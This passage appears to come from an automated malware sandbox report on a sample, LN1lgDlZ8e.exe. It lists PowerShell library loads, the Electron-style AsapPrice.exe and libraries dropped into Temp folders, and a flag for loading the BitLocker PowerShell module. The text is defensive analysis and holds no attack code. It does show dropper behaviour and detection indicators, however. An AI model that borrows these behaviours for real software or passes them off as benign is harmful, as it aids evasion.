Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: LN1lgDlZ8e.exeStatic PE information: certificate valid
Source: LN1lgDlZ8e.exeStatic file information: File size 64804488 > 1048576
Source: LN1lgDlZ8e.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: AsapPrice.exe.1.drStatic PE information: section name: .00cfg
Source: AsapPrice.exe.1.drStatic PE information: section name: .gxfg
Source: AsapPrice.exe.1.drStatic PE information: section name: .retplne
Source: AsapPrice.exe.1.drStatic PE information: section name: .rodata
Source: AsapPrice.exe.1.drStatic PE information: section name: CPADinfo
Source: AsapPrice.exe.1.drStatic PE information: section name: LZMADEC
Source: AsapPrice.exe.1.drStatic PE information: section name: _RDATA
Source: AsapPrice.exe.1.drStatic PE information: section name: malloc_h
Source: ffmpeg.dll.1.drStatic PE information: section name: .00cfg
Source: ffmpeg.dll.1.drStatic PE information: section name: .gxfg
Source: ffmpeg.dll.1.drStatic PE information: section name: .retplne
Source: ffmpeg.dll.1.drStatic PE information: section name: _RDATA
Source: libEGL.dll.1.drStatic PE information: section name: .00cfg
Source: libEGL.dll.1.drStatic PE information: section name: .gxfg
Source: libEGL.dll.1.drStatic PE information: section name: .retplne
Source: libEGL.dll.1.drStatic PE information: section name: _RDATA
Source: libGLESv2.dll.1.drStatic PE information: section name: .00cfg
Source: libGLESv2.dll.1.drStatic PE information: section name: .gxfg
Source: libGLESv2.dll.1.drStatic PE information: section name: .retplne
Source: libGLESv2.dll.1.drStatic PE information: section name: _RDATA
Source: vk_swiftshader.dll.1.drStatic PE information: section name: .00cfg
Source: vk_swiftshader.dll.1.drStatic PE information: section name: .gxfg
Source: vk_swiftshader.dll.1.drStatic PE information: section name: .retplne
Source: vk_swiftshader.dll.1.drStatic PE information: section name: _RDATA
Source: vulkan-1.dll.1.drStatic PE information: section name: .00cfg
Source: vulkan-1.dll.1.drStatic PE information: section name: .gxfg
Source: vulkan-1.dll.1.drStatic PE information: section name: .retplne
Source: vulkan-1.dll.1.drStatic PE information: section name: _RDATA
Source: AsapPrice.exe0.1.drStatic PE information: section name: .00cfg
Source: AsapPrice.exe0.1.drStatic PE information: section name: .gxfg
Source: AsapPrice.exe0.1.drStatic PE information: section name: .retplne
Source: AsapPrice.exe0.1.drStatic PE information: section name: .rodata
Source: AsapPrice.exe0.1.drStatic PE information: section name: CPADinfo
Source: AsapPrice.exe0.1.drStatic PE information: section name: LZMADEC
Source: AsapPrice.exe0.1.drStatic PE information: section name: _RDATA
Source: AsapPrice.exe0.1.drStatic PE information: section name: malloc_h
Source: ffmpeg.dll0.1.drStatic PE information: section name: .00cfg
Source: ffmpeg.dll0.1.drStatic PE information: section name: .gxfg
Source: ffmpeg.dll0.1.drStatic PE information: section name: .retplne
Source: ffmpeg.dll0.1.drStatic PE information: section name: _RDATA
Source: libEGL.dll0.1.drStatic PE information: section name: .00cfg
Source: libEGL.dll0.1.drStatic PE information: section name: .gxfg
Source: libEGL.dll0.1.drStatic PE information: section name: .retplne
Source: libEGL.dll0.1.drStatic PE information: section name: _RDATA
Source: libGLESv2.dll0.1.drStatic PE information: section name: .00cfg
Source: libGLESv2.dll0.1.drStatic PE information: section name: .gxfg
Source: libGLESv2.dll0.1.drStatic PE information: section name: .retplne
Source: libGLESv2.dll0.1.drStatic PE information: section name: _RDATA
Source: vk_swiftshader.dll0.1.drStatic PE information: section name: .00cfg
Source: vk_swiftshader.dll0.1.drStatic PE information: section name: .gxfg
Source: vk_swiftshader.dll0.1.drStatic PE information: section name: .retplne
Source: vk_swiftshader.dll0.1.drStatic PE information: section name: _RDATA
Source: vulkan-1.dll0.1.drStatic PE information: section name: .00cfg
Source: vulkan-1.dll0.1.drStatic PE information: section name: .gxfg
Source: vulkan-1.dll0.1.drStatic PE information: section name: .retplne
Source: vulkan-1.dll0.1.drStatic PE information: section name: _RDATA
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\vk_swiftshader.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\resources\elevate.exeJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\vulkan-1.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\ffmpeg.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\AsapPrice.exeJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\System.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\nsis7z.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\vulkan-1.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\vk_swiftshader.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\ffmpeg.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\LICENSE.electron.txtJump to behavior
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\LICENSE.electron.txtJump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
